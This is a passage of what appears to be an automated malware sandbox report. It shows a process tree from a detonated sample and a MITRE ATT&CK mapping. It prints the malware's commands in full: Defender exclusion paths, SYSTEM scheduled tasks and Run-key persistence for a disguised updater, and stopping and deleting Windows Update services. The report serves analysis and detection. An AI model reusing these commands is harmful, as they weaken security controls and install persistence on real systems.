    C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 560
    3⤵
    - Program crash
    PID:1788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3076
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4000
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4944
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:5068
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:3428
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4884
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1840
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:224
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3796
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1772
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2988
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4984
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4104
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3048
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4760
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2856
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:1244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1396 -ip 1396
1⤵
PID:1480

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:2200

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:624
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3736 -ip 3736
1⤵
PID:1172

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:2068

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 508 -p 1944 -ip 1944
1⤵
PID:3116

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4668

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:5100

C:\Users\Admin\AppData\Roaming\djiuecr
C:\Users\Admin\AppData\Roaming\djiuecr
1⤵
- Executes dropped EXE
PID:3732
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3732 -s 340
  2⤵
  - Program crash
  PID:3904

C:\Users\Admin\AppData\Roaming\jviuecr
C:\Users\Admin\AppData\Roaming\jviuecr
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3732 -ip 3732
1⤵
PID:4752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery